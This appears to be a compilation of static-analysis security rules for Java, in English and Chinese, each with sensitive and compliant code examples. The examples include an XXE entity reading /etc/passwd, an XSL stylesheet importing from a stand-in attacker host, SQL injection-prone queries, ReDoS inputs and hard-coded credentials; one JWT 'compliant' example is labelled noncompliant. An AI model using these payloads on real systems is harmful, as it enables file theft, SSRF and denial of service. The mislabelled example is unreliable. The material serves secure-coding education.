Passwords should not be stored in plain-text or with a fast hashing algorithm
不要用纯文本或者快速hash算法存储password ,应该使用安全的算法产生hash。原因
1、预防暴力破解攻击
2、预防撞库攻击
3、密码应该加salt来降低彩虹表攻击的风险。
这个规则会报告问题,当密码被纯文本存储或者使用容易被暴力破解攻击的hash算法存储密码,算法如md5或者sha家族算法,会很快的计算出hash值,因为可能存在暴力破解攻击。
(it's easier to exhaust the entire space of all possible passwords) especially with hardware like GPU, FPGA or ASIC. Modern password hashing algorithms such as bcrypt
, PBKDF2
or argon2
are recommended.
Noncompliant Code Example不合规方案
java
@Autowired
public void configureGlobal(AuthenticationManagerBuilder auth, DataSource dataSource) throws Exception {
auth.jdbcAuthentication()
.dataSource(dataSource)
.usersByUsernameQuery("SELECT * FROM users WHERE username = ?")
.passwordEncoder(new StandardPasswordEncoder()); // Noncompliant
// OR
auth.jdbcAuthentication()
.dataSource(dataSource)
.usersByUsernameQuery("SELECT * FROM users WHERE username = ?"); // Noncompliant; default uses plain-text
// OR
auth.userDetailsService(...); // Noncompliant; default uses plain-text
// OR
auth.userDetailsService(...).passwordEncoder(new StandardPasswordEncoder()); // Noncompliant
}
Compliant Solution 合规方案
java
@Autowired
public void configureGlobal(AuthenticationManagerBuilder auth, DataSource dataSource) throws Exception {
auth.jdbcAuthentication()
.dataSource(dataSource)
.usersByUsernameQuery("Select * from users where username=?")
.passwordEncoder(new BCryptPasswordEncoder());
// or
auth.userDetailsService(null).passwordEncoder(new BCryptPasswordEncoder());
}
See
- OWASP CheatSheet - Password Storage Cheat Sheet
- OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
- MITRE, CWE-328 - Reversible One-Way Hash
- MITRE, CWE-327 - Use of a Broken or Risky Cryptographic Algorithm
- MITRE, CWE-916 - Use of Password Hash With Insufficient Computational Effort
- SANS Top 25 - Porous Defenses
java:S5659 JWT should be signed and verified with strong cipher algorithms
If a JSON Web Token (JWT) is not signed with a strong cipher algorithm (or not signed at all) an attacker can forge it and impersonate user identities.
- Don't use
none
algorithm to sign or verify the validity of a token. - Don't use a token without verifying its signature before.
Noncompliant Code Example
Using jwtk/Java JWT library (to verify a signed token (containing a JWS) don't use the parse
method as it doesn't throw an exception if an unsigned token is provided):
// Signing:
io.jsonwebtoken.Jwts.builder() // Noncompliant, token is not signed.
.setSubject(USER_LOGIN)
.compact();
// Verifying:
io.jsonwebtoken.Jwts.parser().setSigningKey(SECRET_KEY).parse(token).getBody(); // Noncompliant
Using auth0/Java JWT library:
// Signing:
com.auth0.jwt.JWT.create()
.withSubject(SUBJECT)
.sign(Algorithm.none()); // Noncompliant, use only strong cipher algorithms when signing this JWT.
// Verifying:
JWTVerifier nonCompliantVerifier = com.auth0.jwt.JWT.require(Algorithm.none()) // Noncompliant
.withSubject(LOGIN)
.build();
Compliant Solution
Using Java JWT library (to verify a signed token (containing a JWS) use the parseClaimsJws
method that will throw an exception if an unsigned token is provided):
// Signing:
Jwts.builder() // Compliant
.setSubject(USER_LOGIN)
.signWith(SignatureAlgorithm.HS256, SECRET_KEY)
.compact();
// Verifying:
Jwts.parser().setSigningKey(SECRET_KEY).parseClaimsJws(token).getBody(); // Compliant
Using auth0/Java JWT library. I
// Signing:
JWT.create()
.withSubject(SUBJECT)
.sign(Algorithm.HMAC256(SECRET_KEY)); // Noncompliant, use only strong cipher algorithms when signing this JWT.
// Verifying:
JWTVerifier nonCompliantVerifier = JWT.require(Algorithm.HMAC256(SECRET_KEY)) // Noncompliant
.withSubject(LOGIN)
.build();
See
- OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
- MITRE, CWE-347 - Improper Verification of Cryptographic Signature
java:S2755 XML parsers should not be vulnerable to XXE attacks
XML specification allows the use of entities that can be internal or external (file system / network access ...) which could lead to vulnerabilities such as confidential file disclosures or SSRFs.
Example in this XML document, an external entity read the /etc/passwd file:
<?xml version="1.0" encoding="utf-8"?>
<!DOCTYPE test [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<note xmlns="http://www.w3schools.com" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance">
<to>&xxe;</to>
<from>Jani</from>
<heading>Reminder</heading>
<body>Don't forget me this weekend!</body>
</note>
In this XSL document, network access is allowed which can lead to SSRF vulnerabilities:
<?xml version="1.0" encoding="UTF-8"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.attacker.com/evil.xsl">
<xsl:import href="http://www.attacker.com/evil.xsl"/>
<xsl:include href="http://www.attacker.com/evil.xsl"/>
<xsl:template match="/">
&content;
</xsl:template>
</xsl:stylesheet>
It is recommended to disable access to external entities and network access in general.
authentication 认证
'PASSWORD' detected in this expression, review this potentially hard-coded credential.密码不要硬编码存储
what's the risk
Because it is easy to extract strings from an application source code or binary, credentials should not be hard-coded. This is particularly true for applications that are distributed or that are open-source.
In the past, it has led to the following vulnerabilities:
Credentials should be stored outside of the code in a configuration file, a database, or a management service for secrets.
This rule flags instances of hard-coded credentials used in database and LDAP connections. It looks for hard-coded credentials in connection strings, and for variable names that match any of the patterns from the provided list.
It's recommended to customize the configuration of this rule with additional credential words such as "oauthToken", "secret", ...
are you at a risk
Ask Yourself Whether
- Credentials allows access to a sensitive component like a database, a file storage, an API or a service.
- Credentials are used in production environments.
- Application re-distribution is required before updating the credentials.
There is a risk if you answered yes to any of those questions.
Sensitive Code Example
Connection conn = null;
try {
conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" +
"user=steve&password=blue"); // Sensitive
String uname = "steve";
String password = "blue";
conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" +
"user=" + uname + "&password=" + password); // Sensitive
java.net.PasswordAuthentication pa = new java.net.PasswordAuthentication("userName", "1234".toCharArray()); // Sensitive
How can you fix
Recommended Secure Coding Practices
- Store the credentials in a configuration file that is not pushed to the code repository.
- Store the credentials in a database.
- Use your cloud provider's service for managing secrets.
- If the a password has been disclosed through the source code: change it.
Compliant Solution
Connection conn = null;
try {
String uname = getEncryptedUser();
String password = getEncryptedPass();
conn = DriverManager.getConnection("jdbc:mysql://localhost/test?" +
"user=" + uname + "&password=" + password);
See
- OWASP Top 10 2017 Category A2 - Broken Authentication
- MITRE, CWE-798 - Use of Hard-coded Credentials
- MITRE, CWE-259 - Use of Hard-coded Password
- CERT, MSC03-J. - Never hard code sensitive information
- SANS Top 25 - Porous Defenses
- Derived from FindSecBugs rule Hard Coded Password
CSRF
Make sure allowing safe and unsafe HTTP methods is safe here.
An HTTP method is safe when used to perform a read-only operation, such as retrieving information. In contrast, an unsafe HTTP method is used to change the state of an application, for instance to update a user's profile on a web application.
Common safe HTTP methods are GET, HEAD, or OPTIONS.
Common unsafe HTTP methods are POST, PUT and DELETE.
Allowing both safe and unsafe HTTP methods to perform a specific operation on a web application could impact its security, for example CSRF protections are most of the time only protecting operations performed by unsafe HTTP methods.
Ask Yourself Whether
- HTTP methods are not defined at all for a route/controller of the application.
- Safe HTTP methods are defined and used for a route/controller that can change the state of an application.
There is a risk if you answered yes to any of those questions.
Sensitive Code Example
@RequestMapping("/delete_user") // Sensitive: by default all HTTP methods are allowed
public String delete1(String username) {
// state of the application will be changed here
}
@RequestMapping(path = "/delete_user", method = {RequestMethod.GET, RequestMethod.POST}) // Sensitive: both safe and unsafe methods are allowed
String delete2(@RequestParam("id") String id) {
// state of the application will be changed here
}
Recommended Secure Coding Practices
For all the routes/controllers of an application, the authorized HTTP methods should be explicitly defined and safe HTTP methods should only be used to perform read-only operations.
Compliant Solution
@RequestMapping("/delete_user", method = RequestMethod.POST) // Compliant
public String delete1(String username) {
// state of the application will be changed here
}
@RequestMapping(path = "/delete_user", method = RequestMethod.POST) // Compliant
String delete2(@RequestParam("id") String id) {
// state of the application will be changed here
}
See
- OWASP Top 10 2017 Category A5 - Broken Access Control
- MITRE, CWE-352 - Cross-Site Request Forgery (CSRF)
- OWASP: Cross-Site Request Forgery
- SANS Top 25 - Insecure Interaction Between Components
- Spring Security Official Documentation: Use proper HTTP verbs (CSRF protection)
SQL injection
Make sure using a dynamically formatted SQL query is safe here.
Formatted SQL queries can be difficult to maintain, debug and can increase the risk of SQL injection when concatenating untrusted values into the query. However, this rule doesn't detect SQL injections (unlike rule s3649), the goal is only to highlight complex/formatted queries.
Ask Yourself Whether
- Some parts of the query come from untrusted values (like user inputs).
- The query is repeated/duplicated in other parts of the code.
- The application must support different types of relational databases.
There is a risk if you answered yes to any of those questions.
Sensitive Code Example
public User getUser(Connection con, String user) throws SQLException {
Statement stmt1 = null;
Statement stmt2 = null;
PreparedStatement pstmt;
try {
stmt1 = con.createStatement();
ResultSet rs1 = stmt1.executeQuery("GETDATE()"); // No issue; hardcoded query
stmt2 = con.createStatement();
ResultSet rs2 = stmt2.executeQuery("select FNAME, LNAME, SSN " +
"from USERS where UNAME=" + user); // Sensitive
pstmt = con.prepareStatement("select FNAME, LNAME, SSN " +
"from USERS where UNAME=" + user); // Sensitive
ResultSet rs3 = pstmt.executeQuery();
//...
}
public User getUserHibernate(org.hibernate.Session session, String data) {
org.hibernate.Query query = session.createQuery(
"FROM students where fname = " + data); // Sensitive
// ...
}
Recommended Secure Coding Practices
- Use parameterized queries, prepared statements, or stored procedures and bind variables to SQL query parameters.
- Consider using ORM frameworks if there is a need to have an abstract layer to access data.
Compliant Solution
public User getUser(Connection con, String user) throws SQLException {
Statement stmt1 = null;
PreparedStatement pstmt = null;
String query = "select FNAME, LNAME, SSN " +
"from USERS where UNAME=?"
try {
stmt1 = con.createStatement();
ResultSet rs1 = stmt1.executeQuery("GETDATE()");
pstmt = con.prepareStatement(query);
pstmt.setString(1, user); // Good; PreparedStatements escape their inputs.
ResultSet rs2 = pstmt.executeQuery();
//...
}
}
public User getUserHibernate(org.hibernate.Session session, String data) {
org.hibernate.Query query = session.createQuery("FROM students where fname = ?");
query = query.setParameter(0,data); // Good; Parameter binding escapes all input
org.hibernate.Query query2 = session.createQuery("FROM students where fname = " + data); // Sensitive
// ...
See
- OWASP Top 10 2017 Category A1 - Injection
- MITRE, CWE-89 - Improper Neutralization of Special Elements used in an SQL Command
- MITRE, CWE-564 - SQL Injection: Hibernate
- MITRE, CWE-20 - Improper Input Validation
- MITRE, CWE-943 - Improper Neutralization of Special Elements in Data Query Logic
- CERT, IDS00-J. - Prevent SQL injection
- SANS Top 25 - Insecure Interaction Between Components
- Derived from FindSecBugs rules Potential SQL/JPQL Injection (JPA), Potential SQL/JDOQL Injection (JDO), Potential SQL/HQL Injection (Hibernate)
Denial of Service (DOS)
Make sure the regex used here, which is vulnerable to polynomial runtime due to backtracking, cannot lead to denial of service.
检查正则表达式,是否会造成DOS攻击。
Most of the regular expression engines use backtracking
to try all possible execution paths of the regular expression when evaluating an input, in some cases it can cause performance issues, called catastrophic backtracking
situations. In the worst case, the complexity of the regular expression is exponential in the size of the input, this means that a small carefully-crafted input (like 20 chars) can trigger catastrophic backtracking
and cause a denial of service of the application. Super-linear regex complexity can lead to the same impact too with, in this case, a large carefully-crafted input (thousands chars).
This rule determines the runtime complexity of a regular expression and informs you of the complexity if it is not linear.
Note that, due to improvements to the matching algorithm, some cases of exponential runtime complexity have become impossible when run using JDK 9 or later. In such cases, an issue will only be reported if the project's target Java version is 8 or earlier.
Ask Yourself Whether
- The input is user-controlled.
- The input size is not restricted to a small number of characters.
- There is no timeout in place to limit the regex evaluation time.
There is a risk if you answered yes to any of those questions.
Sensitive Code Example
The first regex evaluation will never end in JDK
<= 9 and the second regex evaluation will never end in any versions of the JDK
:
java
java.util.regex.Pattern.compile("(a+)+").matcher(
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+
"aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa"+
"aaaaaaaaaaaaaaa!").matches(); // Sensitive
java.util.regex.Pattern.compile("(h|h|ih(((i|a|c|c|a|i|i|j|b|a|i|b|a|a|j))+h)ahbfhba|c|i)*").matcher(
"hchcchicihcchciiicichhcichcihcchiihichiciiiihhcchi"+
"cchhcihchcihiihciichhccciccichcichiihcchcihhicchcciicchcccihiiihhihihihi"+
"chicihhcciccchihhhcchichchciihiicihciihcccciciccicciiiiiiiiicihhhiiiihchccch"+
"chhhhiiihchihcccchhhiiiiiiiicicichicihcciciihichhhhchihciiihhiccccccciciihh"+
"ichiccchhicchicihihccichicciihcichccihhiciccccccccichhhhihihhcchchihih"+
"iihhihihihicichihiiiihhhhihhhchhichiicihhiiiiihchccccchichci").matches(); // Sensitive
weak Cryptography弱加密算法
Make sure this weak hash algorithm is not used in a sensitive context here.
MD2、``MD4、``MD5、``MD6、``HAVAL-128、``HMAC-MD5、``DSA、``SHA-1、``RIPEMD、``RIPEMD-128、``RIPEMD-160、``HMACRIPEMD160、``SHA-1、``collisions
这些加密算法不安全,不建议使用,因为可能由于不同的输入产生same hash
问问自己是否
哈希值用于安全上下文,例如:
- 用户密码存储。
- 生成安全令牌(用于在网站上注册时确认电子邮件、重置密码等)。
- 计算一些消息完整性。
如果您对这些问题中的任何一个回答是肯定的,则存在风险。
敏感代码示例
java
MessageDigest md1 = MessageDigest.getInstance("SHA"); // Sensitive: SHA is not a standard name, for most security providers it's an alias of SHA-1
MessageDigest md2 = MessageDigest.getInstance("SHA1"); // Sensitive
推荐的安全编码实践
建议使用更安全的替代方案,例如SHA-256 ``SHA-512 ``SHA-3
,对于密码哈希,它甚至 最好使用计算速度不太"快"的算法,例如 ``bcrypt ``scrypt ``argon2 ``pbkdf2。
合规解决方案
java
MessageDigest md1 = MessageDigest.getInstance("SHA-512"); // Compliant
insecure configuration 不安全配置
Make sure this debug feature is deactivated before delivering the code in production.
确保debug功能在代码发布前被关闭
Delivering code in production with debug features activated is security-sensitive. It has led in the past to the following vulnerabilities:
An application's debug features enable developers to find bugs more easily and thus facilitate also the work of attackers. It often gives access to detailed information on both the system running the application and users.
Ask Yourself Whether
- the code or configuration enabling the application debug features is deployed on production servers.
- the application runs by default with debug features activated.
There is a risk if you answered yes to any of those questions.
Sensitive Code Example
Throwable.printStackTrace(...)
prints a Throwable and its stack trace to System.Err
(by default) which is not easily parseable and can expose sensitive information:
try {
/* ... */
} catch(Exception e) {
e.printStackTrace(); // Sensitive
}
EnableWebSecurity annotation for SpringFramework with debug
to true
enable debugging support:
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
@Configuration
@EnableWebSecurity(debug = true) // Sensitive
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
// ...
}
Recommended Secure Coding Practices
Do not enable debug features on production servers.
Compliant Solution
Loggers should be used (instead of printStackTrace
) to print throwables:
try {
/* ... */
} catch(Exception e) {
LOGGER.log("context", e); // Compliant
}
EnableWebSecurity annotation for SpringFramework with debug
to false
disable debugging support:
import org.springframework.context.annotation.Configuration;
import org.springframework.security.config.annotation.web.configuration.EnableWebSecurity;
@Configuration
@EnableWebSecurity(debug = false) // Compliant
public class WebSecurityConfig extends WebSecurityConfigurerAdapter {
// ...
}
See
- OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
- MITRE, CWE-489 - Leftover Debug Code
- MITRE, CWE-215 - Information Exposure Through Debug Information
Make sure publicly writable directories are used safely here.
操作系统有全局目录,任何用户都可以访问。这些目录通常被用作临时存储如linux系统的/tmp目录。从这些文件夹中操作文件的应用程序会面临文件名的竞争条件:恶意用户可以在应用程序之前尝试创建一个具有可预测名称的文件。成功的攻击可能导致其他文件被访问、修改、损坏或删除。如果应用程序以提升的权限运行,则这种风险更高。
In the past, it has led to the following vulnerabilities:
This rule raises an issue whenever it detects a hard-coded path to a publicly writable directory like /tmp
(see examples bellow). It also detects access to environment variables that point to publicly writable directories, e.g., TMP
and TMPDIR
.
/tmp
/var/tmp
/usr/tmp
/dev/shm
/dev/mqueue
/run/lock
/var/run/lock
/Library/Caches
/Users/Shared
/private/tmp
/private/var/tmp
\Windows\Temp
\Temp
\TMP
Ask Yourself Whether
- Files are read from or written into a publicly writable folder
- The application creates files with predictable names into a publicly writable folder
There is a risk if you answered yes to any of those questions.
Sensitive Code Example
java
new File("/tmp/myfile.txt"); // Sensitive
Paths.get("/tmp/myfile.txt"); // Sensitive
java.io.File.createTempFile("prefix", "suffix"); // Sensitive, will be in the default temporary-file directory.
java.nio.file.Files.createTempDirectory("prefix"); // Sensitive, will be in the default temporary-file directory.
Map<String, String> env = System.getenv();
env.get("TMP"); // Sensitive
Recommended Secure Coding Practices
- Use a dedicated sub-folder with tightly controlled permissions
- Use secure-by-design APIs to create temporary files. Such API will make sure:
- The generated filename is unpredictable
- The file is readable and writable only by the creating user ID
- The file descriptor is not inherited by child processes
- The file will be destroyed as soon as it is closed
Compliant Solution
不要将文件创建到默认的目录,而是要指定创建目录。
java
new File("/myDirectory/myfile.txt");
File.createTempFile("prefix", "suffix", new File("/mySecureDirectory"));
FileAttribute<Set<PosixFilePermission>> attr = PosixFilePermissions.asFileAttribute(PosixFilePermissions.fromString("w+"));
Files.createTempFile("prefix", "suffix", attr); // Compliant, created with explicit attributes.
See
- OWASP Top 10 2017 Category A5 - Broken Access Control
- OWASP Top 10 2017 Category A3 - Sensitive Data Exposure
- MITRE, CWE-377 - Insecure Temporary File
- MITRE, CWE-379 - Creation of Temporary File in Directory with Incorrect Permissions
- OWASP, Insecure Temporary File
Make sure that expanding this archive file is safe here.
Successful Zip Bomb attacks occur when an application expands untrusted archive files without controlling the size of the expanded data, which can lead to denial of service. A Zip bomb is usually a malicious archive file of a few kilobytes of compressed data but turned into gigabytes of uncompressed data. To achieve this extreme compression ratio, attackers will compress irrelevant data (eg: a long string of repeated bytes).
Ask Yourself Whether
Archives to expand are untrusted and:
- There is no validation of the number of entries in the archive.
- There is no validation of the total size of the uncompressed data.
- There is no validation of the ratio between the compressed and uncompressed archive entry.
There is a risk if you answered yes to any of those questions.
Sensitive Code Example
File f = new File("ZipBomb.zip");
ZipFile zipFile = new ZipFile(f);
Enumeration<? extends ZipEntry> entries = zipFile.entries(); // Sensitive
while(entries.hasMoreElements()) {
ZipEntry ze = entries.nextElement();
File out = new File("./output_onlyfortesting.txt");
Files.copy(zipFile.getInputStream(ze), out.toPath(), StandardCopyOption.REPLACE_EXISTING);
}
Recommended Secure Coding Practices
- Define and control the ratio between compressed and uncompressed data, in general the data compression ratio for most of the legit archives is 1 to 3.
- Define and control the threshold for maximum total size of the uncompressed data.
- Count the number of file entries extracted from the archive and abort the extraction if their number is greater than a predefined threshold, in particular it's not recommended to recursively expand archives (an entry of an archive could be also an archive).